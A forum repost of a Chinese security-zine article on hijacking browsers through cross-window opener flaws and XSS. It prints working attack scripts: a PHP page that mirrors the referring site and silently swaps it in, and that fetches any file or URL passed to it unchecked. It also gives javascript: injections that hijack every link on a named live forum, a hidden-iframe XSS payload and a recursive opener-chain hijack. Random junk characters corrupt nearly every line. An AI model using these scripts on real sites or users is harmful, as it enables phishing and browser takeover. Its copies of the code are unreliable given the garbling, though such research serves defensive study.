找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
; H' z- C6 ?4 {: u' x
$ J) @' g  y" r# J. `5 H4 D, p- o                       Issue 0x03, Phile #0x05 of 0x07% j: w# F* a" s, {0 L, S
- }" m! z2 o# j6 V6 R

+ Q7 _  Z/ z( ^9 A4 Q) W|=---------------------------------------------------------------------------=|$ w( M2 H5 X' [) v5 h
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
  A2 A- I( g$ a) j, z6 U|=---------------------------------------------------------------------------=|- U% ?8 V# ~+ g# [4 r
|=---------------------------------------------------------------------------=|
" P6 _# Q9 F" e6 I" H8 z+ X, k|=------------------------=[      By rayh4c     ]=---------------------------=|# c. ]% ]! c( o  q
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
% L& E) P4 |8 U% P& \# k|=---------------------------------------------------------------------------=|  ~) F+ M; Q0 V7 \
3 X: }1 p: a) }6 [  |- L

0 i8 A. q6 K4 s, h% ~[目录]/ r9 J9 G  Z/ p: N" f
$ y) l2 t$ f8 n1 n7 d1 H
1. 前言4 y" f; E) }5 ]3 Z, k& C4 s9 f
2. 同源策略简叙
  j; X7 {% i( }, G$ l3. 理解window对象的同源策略! g' }3 ~$ V, N) a. y* G
4. 窗口引用功能中的同源策略漏洞2 X0 w2 M! m% l" D2 D, c
  4.1 父窗口引用子窗口的同源策略问题8 E9 I' x3 v  Y5 u- J
  4.2 子窗口引用父窗口的同源策略问题- Z* d  _) D# U+ k) A9 |- ]
5. 利用窗口引用漏洞劫持浏览器
, G" K) L3 U* s% ^: x6. 利用XSS漏洞劫持浏览器3 o6 }8 l7 E2 Q- t: F$ i
  6.1 正向跨窗口劫持( P' N1 n  r6 [
  6.2 反向跨窗口劫持
* N) A& t; z+ S4 B  6.3 极度危险的跨框架窗口引用劫持
0 F% m8 Z2 t; j  6.4 极度危险的正反向跨窗口递归劫持0 w9 D* r% K& T; C! y
  6.5 完全控制浏览器( R# C. q  j. L( {
7. 后记3 S  X% {- d- k8 P- ]6 _
8. 参考
' x7 ]" {$ D& I0 B/ p. q, K6 P. D: D1 h, B# P4 A2 Y) n

0 G) F2 e- N" G! L( `+ d# W! v8 a一、前言1 Z/ V) n* H; {5 |0 x3 r
  `$ W/ {$ W% r
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% Y+ @( c; t8 W+ l/ s友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
2 G% u6 V/ e: q4 j: [- B! @劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被  b6 f* ?- A: @  z. o% k& A
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。8 n7 y- w' w' @0 D4 w
) V. X4 k4 I) `. I$ D/ F
) l: q3 n; ~8 _. g
二、同源策略简叙
  j2 j: w& V/ C# o
" z- \) o: J8 r& {/ }9 F    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
$ d8 A! n2 }  j6 }# g) u从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
8 C/ Y  p. H/ ^6 u曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
. U. P: L% X0 Y+ k马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个* i& D  `) B. o5 _. ~# E+ V( }
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。9 t) `+ E0 }, S- w; Y# e

! }; S0 B9 m, B+ O) f: z& P( d* r0 W0 u& O
三、理解window对象的同源策略+ V+ b) i; k+ e" g5 A/ J

/ G# F, `2 y$ b; |2 K* c    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
( j6 s# R7 T* K! v象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:- F+ K' x( b; L+ c  s
* S. n9 N( y  U# d- u
--code-------------------------------------------------------------------------
% C$ l0 \/ e5 N0 x<script language="javascript">3 q- S/ E0 n+ e1 G$ [
for(p in window) document.write(p+"<br>");
, l3 z/ V# B6 f4 d8 P</script>
  M0 U+ ^4 g+ o% O- v% {" j-------------------------------------------------------------------------------* v- {/ o) t5 r( V7 J9 @

2 Y* n% y& r5 Q4 b+ K& t  s* q+ Z    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
. A1 Y  E& ~& B# f" @8 {7 h/ B法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
0 M8 n$ d" o8 N这些属性和方法就必须遵循同源策略。% H' k3 V% T, ^2 Z) ^" }

' |' m: j' w' _) [) v; D( ?    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
# ?/ ]' C, @- c$ p么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须! `( ]* R  s2 B; p. s' x0 {9 ^, H
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
' L& ~. l/ i) t* R+ R% C个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的- q! x! d; ~& u% l2 m
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
( ]/ G8 W% e. u5 B6 H: @属性并没有被拒绝访问。7 w3 A# f. ?0 F5 M

/ \1 C/ j1 O- E& ^! V) E( B--demo.html--------------------------------------------------------------------
; s) }4 S% F/ i& b<script language="javascript">   
# D/ B4 |4 B/ k- ufunction allPrpos(obj) {      
. x& j0 Y- g1 L      var props = "<table><tr><td>名称</td><td>值</td>";           9 c; V- R2 E! i
      for(var p in obj){          $ o4 R7 X, o8 {8 L
            if(typeof(obj[p])=="function"){   
3 N9 C$ k' u9 b% L2 F# t3 a                   obj[p]();   
: T# Q) b. z) F0 U6 j             }else{                      * q. O) H1 \" l' ^" D/ a
                  try   1 T' r+ _( {# a! J$ U
                   {   
* F! I$ p2 L; T2 l+ W                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
+ O( q' ~" w* |& A. E3 C                   }   
! E6 M( ~! e. ]$ E/ `! r* ~" V! g                  catch (ex)   9 @5 v3 r& g/ T( s1 M, D" S" e
                   {   & W, b: A; k# ^  y9 ^! x2 y
                   ' N1 [- p. v. @4 I- y. {
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
: H% G' J; n' `  C                   }   
1 n( T1 R& l, u                       " Q# c$ A2 M+ O% ^  c1 F1 S9 F9 o
             }   7 v' n! g# I4 V
       }   
7 P$ S/ W" ^; D4 P6 l, X. I3 `: }   # u2 }4 {2 X2 [
       document.write(props+"</table>");   # O8 d8 X, \' I/ X  j& l. h
}   $ A% A0 C4 d7 Y5 t7 {) y* M6 x
   
5 s, N+ P/ r, n, Y/ K! ufunction createWin() {1 e7 U8 s+ a$ c2 j, Z. T
        newWin = window.open ("http://www.google.com");  5 S: ?3 m' k1 m
        setTimeout(function(){allPrpos(newWin)},2000); ( c9 F- m0 j2 P
} * H" z% i, |+ k8 x% l) a( R& `$ W4 F
9 U) s- }, t" J  p3 E$ F$ u0 y
</script>
: d7 x* a9 d) F; I) ]3 U1 e# \
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 G; z! X# a/ q6 A-------------------------------------------------------------------------------
* \+ J) H8 r0 v! I
( w9 |( g+ G( \. w; s8 W9 _/ {! M; a, M& A7 {
四、窗口引用功能中的同源策略漏洞
$ A) q8 F# M) i, \- e# k) A0 a, u7 c: m; u1 B
4.1 父窗口引用子窗口的同源策略问题
5 |- x' y2 E+ l7 L" Z" \
8 @1 `% `" e+ r  r5 X  h    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,0 R  Y( x  z! x: Q
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道" r. u1 d9 G' y, J3 o) A
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进0 ~8 D) W6 r% Q
行测试,会发现父窗口可以控制非同源子窗口location属性值。! w7 R  X2 m% L2 B. e+ J% r# I

/ Z' U7 z( l8 z. b* n) Z- a: D* p--vul1.html--------------------------------------------------------------------
* o' _" L/ ?* C! a7 W* F; m<script language="javascript">   h$ x3 {- e% r$ C1 R8 r$ h" B
function createWin() {  
$ P: D$ T9 c& z. N        newWin = window.open ("http://www.google.com");  
9 A% H3 X9 B+ r  C& o        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
/ F- K5 j# E2 g  a( ~) _} / U: E0 A* o  T- \5 C  K( L# a
</script>
8 U3 `$ W* ]8 ^2 X
6 J* h1 Y& Z' f/ J- ?<button onclick='createWin()'>创建一个非同源子窗口测试</button>
, u; f8 J- f4 k7 w2 x8 ~, c-------------------------------------------------------------------------------
: g  V) {, X2 O+ G3 {& }
3 {2 \  N8 r/ V" ]3 g8 z
; O3 G+ \- s% [- a: _4.2 子窗口引用父窗口的同源策略问题! R: F! M  V0 J& s! J4 n

6 e+ m" {) M- T- m, n    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
0 R  m/ g" p' p: r用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
; Y  w! ]) G+ v" s4 b, W7 W可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
$ k+ ?  u# |! G  T0 Z: Q. r会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
' z  D7 e- r; r  R, G" R* _: A& h- E
; a6 G* }/ \+ U$ W& X/ S& P5 ]--code-------------------------------------------------------------------------) \$ I+ v) R& \/ Z# o# Z

/ s$ y* e' O* A4 l( P( |8 rjavascript:window.opener.location = "http://www.80sec.com";void(0);
( U/ _2 v8 u" b* o" l9 C$ H( W
8 q' T! ?/ ~8 |-------------------------------------------------------------------------------5 T& R5 c: z* X
/ f' a; q; [; l( X! x, z
: @1 Q1 l6 `  V* W/ ]" l% ~' M) h
五、利用窗口引用漏洞劫持浏览器
& M* X  Q" B+ a; k0 I' I3 u9 Z) C& V' l9 l" ?/ U
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子% q3 F  U/ @! B4 f4 h( J5 Y
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那; S1 P8 X3 @/ k' g: R9 l; _# E
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
, s! B$ s9 C" w' a
$ P# f9 u0 Z' Y. x0 T- r: a$ Y    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产) W7 D0 {" G& M: ]6 G* B  x; o
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或, H1 z) r; t9 l/ I5 J: Y
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
) c8 m) F. H" ]" R6 e9 u后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
1 Q+ b" A" d: _  x会产生什么可怕的后果。
, t3 \4 [. q. K  |; b8 G+ v: U2 J9 R
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我0 H. [* h: J% u
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
4 s  L& @, C, G, R; w/ u这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
# l6 M5 B, ~- ^; R. @9 ~; r候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可: a/ _6 S2 q# ]$ }% Z5 O+ l5 ~
以做更多的事情,所有的一切仅仅是因为点击了一个链接。, D7 @) J8 h+ K1 A/ Y6 p
) J8 q$ m. ?& E# `) `5 |% f
--hjk_ref.php------------------------------------------------------------------
: t- y7 @1 l8 T( M! i<?php
1 `: C- Q( C+ X( K/ Q6 i3 u! ?if (array_key_exists("HTTP_REFERER", $_SERVER)) {, L! m  s2 `0 h. b1 j5 ^1 ]
$Url_Mirror = $_SERVER["HTTP_REFERER"];$ j5 E8 @+ [; F+ \
}
" I' t4 _% c. B! r9 Nif(isset ($_GET['ref'])) {
: n9 j2 ~/ r# s! ~5 Z9 becho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 }( S$ J2 j% w# N}. @  i; H- z* T+ D
?>% A; T4 a% N  |( C- \

- g5 Q. {; t" r) H4 `<script language="javascript">$ e) X3 }+ t) K' }1 ]8 g2 ^& Q
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         6 S8 y! X5 i0 K9 @  s5 n7 B+ B
</script>8 p  Q5 z1 U4 R3 I
-------------------------------------------------------------------------------; l5 u+ z3 ^  H8 u9 R
; O4 E% l) t# e) l9 z6 V5 Y
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
0 k+ d' U" ?! o& v
) t- g, x# k+ ]! ]
0 U  F6 ~7 [/ {) n) G六、利用XSS漏洞劫持浏览器
- I2 U# _1 [, {, D& F* O4 v. N0 C( X' l( o7 ~0 c0 O
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
9 I# ?2 N) s/ y& I持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
# `" ]# E) n) {XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起6 H. z5 u4 g* `; L3 J3 G
讨论跨站师的终极技巧:
/ p0 Y1 Z: {8 c7 e8 w( _8 @8 D8 Y) ^3 R/ L5 Q
4 D3 R" j2 J2 O+ K, z" W6 E, w
6.1 正向跨窗口劫持$ s/ n* A' S. ?& t) q! }- u% V2 n
* I0 l' E( z2 l7 O5 z  x
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛2 n, R' B6 g) `- ?* I
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链# O5 [. p1 I; i: w! I6 A; v
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
: g1 V! I% k3 c' z2 I$ o框脚本。 3 a  K6 U* Q' h$ Y* T' H# U

6 R# k% b8 n! W--hijack_open.js---------------------------------------------------------------' R4 l+ k! \) |* V; y: B/ J
: f( c: @! N1 x- I
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
; m' V) a$ ?$ A; ~+ b
! g0 Q, n: [) H. b8 k-------------------------------------------------------------------------------  H' d2 B4 W# U

  h9 D% T* Q. ]
$ ~! a% C9 E# h6 h* O1 D3 H6.2 反向跨窗口劫持% ?  p, S0 C0 q7 B- V% s! C
" `0 O! N! h2 G' m; j# d7 U; o
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
" _) q  f4 ^# D: C" G码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话4 ]7 d6 M  s  c
框脚本。' h% c( `' i1 \# |8 y6 J* _
, @3 v; T, |& V1 ]4 b5 G
--hijack_opener.js-------------------------------------------------------------- t  g" w% v3 y8 I+ G, Q3 E

2 _# P# O" y, P3 I% R0 e6 Ijavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
* }. b  Y% @7 L- P5 [: ]! V4 ~/ ]  U
-------------------------------------------------------------------------------7 M2 E/ ~9 f3 C# B8 R, @! S% q. m
! i) J1 C$ G' p. Q5 x' [

! O2 m( d- Z, N- ?  ]* g6.3 极度危险的跨框架窗口引用劫持: S" Z4 _! u1 L/ J% h$ {

3 B& [) L$ z( Q& b% I- T/ @; x( k    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
$ R: V. w9 j. ]9 H4 O- h- {可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就; Y* g+ A/ G/ ?2 l# B' E
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
; Z8 @  \. e  b1 d! t非持久型的XSS,如下:
' }2 N5 j# C/ b' i5 [. j/ X- [' l" ]4 P1 J: I9 l
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
! ~; K3 Y5 g3 x' x1 _& p2 B' V0 L; a0 T' j  m% F% m2 @' F. k  H' N
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
3 L& G. [( B* k1 @! T注入脚本。
% G* S/ e& }! l! X1 }% P$ ?* m; t- o9 O& G$ h3 P2 v9 v
--hijack_frame_opener.js-------------------------------------------------------
+ S' ~& `5 F/ y. o8 H0 c2 a<script>
/ b, m9 l7 B5 ~; j) twindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";9 E6 g7 ^7 f/ g. ~
</script>2 G# h1 p0 ]* \* A" n, i, E- S# L4 z
-------------------------------------------------------------------------------
. D3 Z& J: q0 O) Q% D, G+ Q( U; G% q' ^% ]4 q

' b* U2 ]* z$ j& J6.4 极度危险的正反向跨窗口递归劫持! [! ^5 J4 z# k. Z: l9 W) c

8 U" u) S; K: ~7 N2 j    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window) ?4 U9 m. _0 k* E+ p) Z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过3 e& {+ e3 W3 W' H& ~9 r
异常处理规避之间跨域页面的访问异常,代码如下:: x' P( L% V& V
( d) ]2 i2 W9 X+ y4 n1 n
--code-------------------------------------------------------------------------
  V* Q$ A: z1 b
/ U) e. O% W2 g+ Fjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
! e8 ~. n2 I- i5 H
( N' `, G/ s8 K-------------------------------------------------------------------------------9 ~7 I( \7 i8 e! J1 O" w

' `( b" t1 z9 K+ i! N    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可, S9 z5 k8 `& _. J4 e8 O1 Q
以劫持B域之前的A域页面,从而实现“隔空打击”。
* Q/ O! g1 O! p$ g) r% D( p5 V' Y' U) D7 l$ m0 v! `
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
0 h& k+ B6 {! U6 C1 d执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。) g; Z5 M" [: ?" [, v

9 x! ~! r* h0 H' o; O% n) n    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
- L4 p4 N% [* w7 M1 M
8 o5 m- {7 [+ D' ?- |& o" L
! c: W* {" P! s/ O. M2 h% b6.5 完全控制浏览器
" k6 e4 s- R2 l/ j9 x- i- D4 N& f3 \7 G# q
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
6 u3 x- M3 j5 }3 F/ c8 b是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS8 H* M- e; i& O8 E! p. e- \7 p
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失! f& y2 E# v6 ]4 F
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再7 b% n: r# u8 B/ i5 W: S
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站5 j# z! G! u# F7 l8 C5 U. B
师的终极目标 - 完全控制浏览器。
  o5 ?8 a' j2 U2 p
$ b9 u# r8 @2 e8 B4 X
9 F; W* y# n& l七、后记+ I8 n1 a6 R$ O7 k* o/ N
. M& K% d3 A, K+ c$ s
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全6 O8 ~0 v6 n% e
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予$ h6 v& y% ]$ p
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
+ N  L% A' x, b8 M2 G
0 V7 I9 p' |  r$ H0 h4 R: d/ Z7 l4 w3 p7 T  |
八、参考- c! l3 n" m0 B9 N% o% P0 T4 E
1 N; N4 s3 H2 N0 _2 r" g+ F
1. http://en.wikipedia.org/wiki/Same_origin_policy3 I* H$ x. z; t. Z2 r' g0 p( t
2. http://code.google.com/p/browser ... licy_for_DOM_access0 W$ `0 d( B8 y+ Q" K
3. http://www.w3.org/TR/Window/  e$ N1 U. v" r* ?5 \/ h- C
4. http://www.80sec.com/release/browser-hijacking.txt
3 i$ Q1 W* M2 C) q9 o* M5. http://www.80sec.com/all-browser-security-alert.html
3 ]0 N7 i9 T0 z& {4 e' G5 h6. http://www.80sec.com/ms08-058-attacks-google.html/ i8 r) T$ a( w# z, `
2 X3 c7 C: o% f. m, N( k
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表